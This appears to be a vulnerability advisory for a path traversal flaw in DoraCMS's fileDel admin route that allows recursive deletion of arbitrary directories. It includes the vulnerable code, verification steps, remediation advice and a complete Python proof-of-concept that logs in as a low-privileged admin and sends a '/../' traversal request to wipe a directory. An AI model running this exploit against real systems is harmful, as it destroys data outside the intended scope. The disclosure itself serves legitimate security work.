Skip to content

Latest commit

 

History

History
279 lines (229 loc) · 11.6 KB

File metadata and controls

279 lines (229 loc) · 11.6 KB

Path Traversal Recursive Directory/File Deletion — No Filtering Whatsoever (fileDel)

CVSS 3.1: 6.5 Medium — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Description

// routes/admin.js:563-578
router.get('/manage/filesList/fileDel', function(req, res) {
    var params = url.parse(req.url,true);
    var path = settings.UPDATEFOLDER + params.query.filePath;
    if(adminFunc.checkAdminPower(req,settings.filesList[0] + '_del')){
        if(path){
            system.deleteFolder(req, res, path,function(){ res.end('success'); });
        }else{ res.end(settings.system_noPower); }
    }else{ res.end(settings.system_noPower); }
});

Unlike its sibling routes in the same file (filesList/list and filesList/getFileInfo, which at least attempt an indexOf('../') blacklist check, however imperfectly implemented), this route performs zero validation of any kind on filePath before concatenating it onto settings.UPDATEFOLDER and passing the result to system.deleteFolder(), which recursively fs.unlinkSyncs every file and fs.rmdirSyncs every directory found under the resolved path (or fs.unlinks a single file). An admin holding filesList_del — the standard file-manager delete permission — can delete arbitrary directories or files anywhere the Node process has write access, far beyond the intended public/upload/ scope.

Source

req.query.filePath at GET /admin/manage/filesList/fileDel.

Sink

util/system.js:178-213 (deleteFolder) — recursive fs.unlinkSync/fs.rmdirSync with no containment check.

Dynamic Verification

  1. Created a test admin holding only sysTemManage_files_del.
  2. Staged a victim directory public/victimdel/sub/important.txt (outside UPDATEFOLDER's intended scope, since UPDATEFOLDER = public/upload).
  3. Sent GET /admin/manage/filesList/fileDel?filePath=/../victimdel. Server responded success.
  4. Confirmed the entire public/victimdel/ directory tree, including its subdirectory and file, was permanently deleted — a single unauthenticated-to-the-filesystem-boundary request destroyed data completely outside the file manager's intended scope.

POC

#!/usr/bin/env python3
"""
PoC: DoraCMS Path Traversal Recursive Directory/File Deletion - No Filtering
     Whatsoever (fileDel)

Target route : GET /admin/manage/filesList/fileDel
Source       : req.query.filePath
Sink         : util/system.js#deleteFolder -> recursive fs.unlinkSync/fs.rmdirSync

Root cause (routes/admin.js:563-578):
    router.get('/manage/filesList/fileDel', function(req, res) {
        var path = settings.UPDATEFOLDER + params.query.filePath;
        if(adminFunc.checkAdminPower(req,settings.filesList[0] + '_del')){
            if(path){
                system.deleteFolder(req, res, path,function(){ res.end('success'); });
            }
        }
    });

(util/system.js:178-213, deleteFolder):
    if( fs.existsSync(path) ) {
        if(fs.statSync(path).isDirectory()) {
            var walk = function(path){
                files = fs.readdirSync(path);
                files.forEach(function(file,index){
                    var curPath = path + "/" + file;
                    if(fs.statSync(curPath).isDirectory()) { walk(curPath); }
                    else { fs.unlinkSync(curPath); }
                });
                fs.rmdirSync(path);
            };
            walk(path);   // <-- SINK: recursive delete, ZERO containment check
        }else{ fs.unlink(path, ...); }
    }

Unlike its sibling routes in the same file (filesList/list and
filesList/getFileInfo, which at least attempt an imperfect '../' blacklist
check), this route performs NO validation of any kind on filePath before
concatenating it onto settings.UPDATEFOLDER and recursively deleting
whatever is found there. An admin holding only 'filesList_del' -- the
standard file-manager delete permission -- can destroy arbitrary
directories/files far outside the intended public/upload/ scope.

Verified end-to-end against: DoraCMS commit cdbdcaa3 (package.json version
1.1.1), Node.js v10.24.1, MongoDB 4.4, Redis 6, on 127.0.0.1:8081. Confirmed:
a directory tree (with a nested subdirectory and file) staged outside
UPDATEFOLDER is completely and permanently removed by a single request.

Usage (lab-only auto-provisioning + full attack):
    python3 poc7_fileDel_traversal_recursive_delete.py \
        --base-url http://127.0.0.1:8081 \
        --project-root /Users/chrisz/security-lab/DoraCMS-vuln \
        --mongo-container dora-mongo --redis-container dora-redis \
        --provision --stage-victim

WARNING: this PoC is destructive by design -- it deletes the staged victim
directory to prove the vulnerability. Only run --stage-victim against a
disposable directory you created for this test (the default path is
'public/victimdel/', staged by this script itself; never point
--victim-dirname at anything you care about).

Requirements:
    - requests  (pip install requests)
    - docker CLI + the target's mongo/redis containers reachable (--provision mode only)
    - local filesystem access to stage/verify the victim directory
"""

import argparse
import os
import re
import subprocess
import sys
import urllib.parse

import requests


def mongo_eval(container: str, db: str, js: str) -> str:
    r = subprocess.run(
        ["docker", "exec", "-i", container, "mongo", db, "--eval", js],
        capture_output=True, text=True, timeout=15,
    )
    return r.stdout + r.stderr


def provision(mongo_container: str, mongo_db: str, group_id: str, user_id: str,
              username: str, password_cipher: str) -> None:
    js = f"""
db.admingroups.insertOne({{
  _id: "{group_id}",
  name: "filedel-poc-group",
  power: "['sysTemManage_files_del:true','sysTemManage_files_view:true']",
  date: new Date()
}});
db.adminusers.insertOne({{
  _id: "{user_id}",
  name: "FileDel PoC Admin",
  userName: "{username}",
  password: "{password_cipher}",
  email: "{username}@example.com",
  phoneNum: 12345678900,
  date: new Date(),
  logo: "/upload/images/defaultlogo.png",
  auth: true,
  group: "{group_id}"
}});
"""
    out = mongo_eval(mongo_container, mongo_db, js)
    print("[*] Provisioning result:")
    print(out.strip())


def cleanup_db(mongo_container: str, mongo_db: str, group_id: str, user_id: str) -> None:
    js = f'db.admingroups.remove({{_id: "{group_id}"}}); db.adminusers.remove({{_id: "{user_id}"}});'
    mongo_eval(mongo_container, mongo_db, js)


def get_vnum_via_redis(session: requests.Session, redis_container: str) -> str:
    raw_cookie = session.cookies.get("connect.sid")
    decoded = urllib.parse.unquote(raw_cookie)
    real_sid = decoded.split(":", 1)[1].split(".")[0]
    r = subprocess.run(
        ["docker", "exec", "-i", redis_container, "redis-cli", "get", f"sess:{real_sid}"],
        capture_output=True, text=True, timeout=10,
    )
    match = re.search(r'"vnum":"(\w+)"', r.stdout)
    if not match:
        raise RuntimeError(f"Could not extract vnum from session doc: {r.stdout!r}")
    return match.group(1)


def login(session: requests.Session, base_url: str, username: str, password: str, vnum: str) -> bool:
    resp = session.post(
        f"{base_url}/admin/doLogin",
        data={"userName": username, "password": password, "vnum": vnum},
        timeout=10,
    )
    return resp.text.strip() == "success"


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("--base-url", default="http://127.0.0.1:8081")
    parser.add_argument("--username", default="filedel1")
    parser.add_argument("--password", default="doracms123")
    parser.add_argument("--group-id", default="filedelgrp")
    parser.add_argument("--user-id", default="filedeluser")
    parser.add_argument("--project-root", default="/Users/chrisz/security-lab/DoraCMS-vuln")
    parser.add_argument("--victim-dirname", default="victimdel",
                         help="Directory name staged directly under public/ (i.e. one level "
                              "above UPDATEFOLDER=public/upload/) as the deletion target.")
    parser.add_argument("--provision", action="store_true", help="Lab-only: create test admin account.")
    parser.add_argument("--stage-victim", action="store_true",
                         help="Lab-only: create a disposable victim directory tree to be destroyed.")
    parser.add_argument("--cleanup-account", action="store_true",
                         help="Remove the provisioned test admin account after the run (does NOT "
                              "restore the deleted victim directory -- that's the point of the PoC).")
    parser.add_argument("--mongo-container", default="dora-mongo")
    parser.add_argument("--mongo-db", default="doracms")
    parser.add_argument("--redis-container", default="dora-redis")
    args = parser.parse_args()

    default_password_cipher = "2d4a9221e95e793431429f572aec3d17"  # "doracms123" under encrypt_key="dora"

    if args.provision:
        print("[*] Provisioning test admin account with filesList_del power (lab-only) ...")
        provision(args.mongo_container, args.mongo_db, args.group_id, args.user_id,
                  args.username, default_password_cipher)

    victim_dir = os.path.join(args.project_root, "public", args.victim_dirname)
    if args.stage_victim:
        sub_dir = os.path.join(victim_dir, "sub")
        os.makedirs(sub_dir, exist_ok=True)
        with open(os.path.join(sub_dir, "important.txt"), "w") as f:
            f.write("important-file-should-survive-if-not-vulnerable")
        print(f"[*] Staged disposable victim directory tree at: {victim_dir}")

    if not os.path.isdir(victim_dir):
        print(f"[!] Victim directory {victim_dir} does not exist. Use --stage-victim or create it "
              "yourself first.", file=sys.stderr)
        return 2

    session = requests.Session()
    session.get(f"{args.base_url}/admin", timeout=10)
    vnum = get_vnum_via_redis(session, args.redis_container)
    print(f"[*] Resolved captcha: {vnum}")

    if not login(session, args.base_url, args.username, args.password, vnum):
        print("[!] Login failed. Check credentials or use --provision.", file=sys.stderr)
        return 1
    print(f"[+] Logged in as {args.username!r}")

    print(f"[*] Before attack: victim directory exists = {os.path.isdir(victim_dir)}")
    print(f"[*] Sending traversal delete: filePath=/../{args.victim_dirname}")
    r = session.get(
        f"{args.base_url}/admin/manage/filesList/fileDel",
        params={"filePath": f"/../{args.victim_dirname}"},
    )
    print(f"[*] Response: HTTP {r.status_code}, body: {r.text!r}")

    still_exists = os.path.isdir(victim_dir)
    print(f"[*] After attack: victim directory exists = {still_exists}")

    result = 1
    if r.text.strip() == "success" and not still_exists:
        print("[+] RECURSIVE DELETE CONFIRMED: a single request permanently removed a directory "
              "tree entirely outside the file manager's intended UPDATEFOLDER scope.")
        result = 0
    else:
        print("[-] Victim directory was not deleted as expected.", file=sys.stderr)

    if args.cleanup_account:
        print("[*] Cleaning up provisioned test admin account ...")
        cleanup_db(args.mongo_container, args.mongo_db, args.group_id, args.user_id)

    return result


if __name__ == "__main__":
    raise SystemExit(main())

Remediation

Apply the same path.resolve()/containment-check fix recommended for Findings 5 and the previously-reported filesList/updateFileInfo finding on this codebase, consistently, to every route in the file-manager module — including this one, which currently has no protection whatsoever (not even the broken kind present elsewhere in the same file).